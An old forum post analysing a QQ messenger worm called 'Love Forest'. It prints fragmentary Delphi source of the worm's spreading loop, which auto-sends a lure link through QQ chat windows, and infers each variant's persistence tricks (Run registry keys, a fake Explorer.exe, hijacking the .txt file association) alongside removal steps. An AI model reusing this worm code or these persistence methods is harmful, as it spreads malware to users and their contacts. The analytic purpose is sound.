史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 應用軟體使用技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2003-11-10, 04:35 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 對病毒[愛情森林]的詳細研究

n天以前,拿到了病毒[愛情森林]的樣本——誰叫自己的信息來源有點慢來著,呵呵。不過由於習慣所使,還是決定研究一下。
先拿自己在*****網咖的專用電腦測試一下(呵呵,反正大不了修不好~!自己不心疼)然後測試一下感染的長度:是116783字元,跟資料庫裡的不是很一樣(116643字元)不過差不多。然後檢視自己這個「老馬」的註冊表,對照以前的制作備份,發現下列鍵值是多餘的:HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun名為Explorer。看著是多餘出來的,先刪了再說。接下來看「工作管理器」下的行程,結束了位於下面的那個Explorer行程。刪了系統目錄下的木馬程序Explorer.exe(在dos下刪除理論上可行)。
重啟,沒發現什麼不對的地方。看來是搞定了。
然後開啟了該病毒的來源碼,分析如下:
unit qqworm;
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls;

private
{ Private declarations }
procedure MySendMessage;
procedure MyTalkEach;
public
procedure QQStart;
{ Public declarations }
end;


implementation

{$R *.dfm}

procedure MySendMessage;
var
hParent,hButton,hMemo,clp: HWND;
texta:TCustomEdit;
begin
texta:=『btw...給你一個驚喜——exf.ecv.tk『;
texta.CopyToClipBoard;
try
// 找傳送消息的QQ 視窗
hParent := FindWindow(nil, 『傳送消息『);
// 然後找回話時用的編輯視窗,Point 函數用於返回一個TPoint 類型變數
hMemo := ChildWindowFromPointEx(hParent, Point(50, 100),CWP_ALL);
// 找到「送訊息」按鈕的句柄
hButton := FindWindowEx(hParent,0,nil,『送訊息(&S)『);
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then
{MessageBox(Handle,『 沒有找到傳送視窗,請重試! 『,『 錯誤『, MB_ICONWARNING)}
MyTalkEach
else
begin
// 向傳送消息中的回話編輯框傳送貼上消息
SendMessage(hMemo,WM_PASTE,0,0);
// 向「送訊息」按鈕送按下消息以模仿按鍵傳送回話
SendMessage(hButton,BM_CLICK,0,0);
end;
except
// 如果發生意外錯誤給出提示
MyTalkEach;
{MessageBox(Handle,『 傳送消息出錯,請重試! 『 , 『 錯誤『 , MB_ICONWARNING);

end;

end;
procedure MyTalkEach;
var
hParent,hButton,hMemo: HWND;
texta:TCustomEdit;
begin
texta:=『btw...給你一個驚喜——exf.ecv.tk『;
texta.CopyToClipBoard;

try
// 找對話模式中視窗
file://ShowMessage(『test『);
hParent := FindWindow(nil, 『對話模式『);
// 找到對話模式中的回話編輯框
hMemo := ChildWindowFromPointEx(hParent, Point(50, 300),
CWP_ALL);
hButton := FindWindowEx(hParent,0,nil,『送訊息(&S)『);
// 如果有任何一個句柄沒有找到都不能完成傳送,並給出提示
file://if hMemo=0 then
// ShowMessage(『1『);
if (hParent = 0) or (hMemo = 0) or (hButton = 0) then begin
{MessageBox(Handle,『 沒有找到傳送視窗,請切換到雙人對話模式! 『,『 錯誤『,
MB_ICONWARNING);}
MySendMessage;
file://ShowMessage(『go『);
end
else
begin
// 向對話模式中的回話編輯框傳送貼上消息
SendMessage(hMemo,WM_PASTE,0,0);
// 向「送訊息」按鈕送按下消息以模仿按鍵傳送回話
SendMessage(hButton,BM_CLICK,0,0);
end;
except
// 如果發生意外錯誤給出提示
MySendMessage;
{MessageBox(Handle,『 傳送消息出錯,請重試! 『 , 『 錯誤『 ,
MB_ICONWARNING);}
end;
end;

procedure QQStart;
var
k:integer;
Begin
k:=0;
while k=0 do
Begin
Sleep(500);
MySendMessage;
End;

(上面的漢字全是我自己給加上去的,也不知道是不是這個意思。請對程序有深刻研究的高手指正)
全部搞完以後,又用google搜尋一次,基本上該病毒清除辦法不謀而合,看來是正確的。不過發現該病毒有四個變種,但是沒有樣本,就按照給出的刪除辦法想了一下,得到下面的信息——想的不一定對頭。

關於變種一:

(附:刪除辦法:(1)開啟工作管理器,結束掉RUNDLL和SYSEDIT32行程。(2)刪除系統檔案夾(Win9x通常為Windowssystem,WinNt通常為WinNtsystem32)下名為RUNDLL.exe和sysedit32.exe的文件(文件大小為1781752字元)。(3)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名為intarnet=%windowssystem%rundll.exe"的鍵值。恢復HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為Notepad %1。(其中%windowssystem%為Windows的系統檔案夾) 。(4)若根目錄下存在文件setup.txt或mima.txt,將其刪除。)

所以猜測一下改變了什麼,下面是我所想到的:
針對第一個和第二個刪除的目標,該病毒一定會複製兩個自己,copy後放在Windows的系統目錄(Win9x通常為Windowssystem)下,並分別更名為rundll.exe和sysedit32.exe。
針對第三個刪除的目標,我認為它一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值intarnet="%windowssystem%rundll.exe",使木馬程序在開機後自動執行(其中%windowssystem%為Windows的系統目錄)。修改註冊表,修改HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為%windowssystem%sysedit32.exe,關聯記事本,使用戶開啟txt文件時木馬程序能獲得執行機會。

關於變種二:

(附:刪除辦法:1)開啟工作管理器,結束掉位於下面的那個Explorer行程,然後刪除系統目錄下的木馬程序Explorer.exe。或者重新啟動到DOS下到system目錄直接刪除該木馬程序。(2)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名為Explorer的鍵值。)

我的想法如下:
針對第一個結束行程的啟示,該變種一定會複製自身到Windows系統目錄(通常為windowssystem)下,改名為Explorer.exe。由於它和Windows目錄下的Explorer文件同名,因此會使用戶誤認為這是一個正常的系統檔案。
針對第二個刪除的目標,該變種一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值Intarnet="%windowssystem%Explorer.exe",使木馬程序可以在開機後自動執行。(其中%windowssystem%為Windows的系統目錄)

關於變種三:

(附:刪除辦法:1)開啟工作管理器,結束掉RUNDLL和SYSEDIT32行程。(2)刪除系統檔案夾(Win9x通常為Windows\system,WinNt通常為WinNt\system32)下名為RUNDLL.exe和sysedit32.exe的文件(文件大小為1781752字元)。 (3)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名為intarnet=%windowssystem%\rundll.exe"的鍵值。恢復HKEY_CLASSES_ROOT\txtfile\shell\open\command的預設鍵值為Notepad %1。(其中%windowssystem%為Windows的系統檔案夾) (4)恢復IE的設定。開啟註冊表編輯器,恢復HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page,HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Default_Page_URL,HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Local Page的設定為原來的內容。 )

我的想法如下:
針對結束行程的那個,該病毒一定會複製兩個自己的拷貝到Windows的系統目錄(Win9x通常為Windowssystem,WinNt通常為WinNtsystem32)下,並分別更名為rundll.exe和sysedit32.exe。
針對註冊表被改的情況,該變種一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值intarnet="%windowssystem%rundll.exe",使木馬程序在開機後自動執行(其中%windowssystem%為Windows的系統目錄)。修改如下鍵值HKEY_CLASSES_ROOTtxtfileshellopencommand的預設鍵值為%windowssystem%sysedit32.exe,關聯記事本,使用戶開啟txt文件時木馬程序能獲得執行機會。
並且可以修改註冊表,修改IE瀏覽器的預設頁,開始頁,起始頁。

關於變種四:

(附:刪除辦法:
(1)先開啟工作管理器,結束掉位於下面的那個Explorer行程,然後刪除系統目錄下的木馬程序Explorer.exe。或者重新啟動到DOS下到system目錄直接刪除該木馬程序。
(2)開啟註冊表編輯器,刪除HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下名為Explorer的鍵值。)

我的想法如下:
針對第一個行程的結束,該複製自身到Windows操作系統的system目錄(通常為windowssystem)下,並改名為Explorer.exe。由於它和Windows目錄下的Explorer文件同名,因此會迷惑用戶,使用戶誤認為這是一個正常的系統檔案。
(我在這裡就開始納悶了,為什麼病毒抓著註冊表這個東西就不放?看來還是一句話說的很正確——註冊表是windows系列的核心)針對註冊表被改的情況,該病毒一定會修改註冊表,在HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下增加鍵值Explorer="%windowssystem%Explorer.exe",使木馬程序可以在開機後自動執行。(其中%windowssystem%為Windows的系統目錄)

到此為止的時候,我認為已經差不多把這個病毒研究的「透徹」了。就在我準備「洗手」的時候,忽然才發現:對於這個病毒,因為該木馬程序用Delphi編寫,並用UPX進行了壓縮,所以該程序需要用戶的電腦上安裝了Delphi的動態庫才能執行。)
到此,我認為可以睡覺了。
作 者:ゴ★sl戰神
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 11:40 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1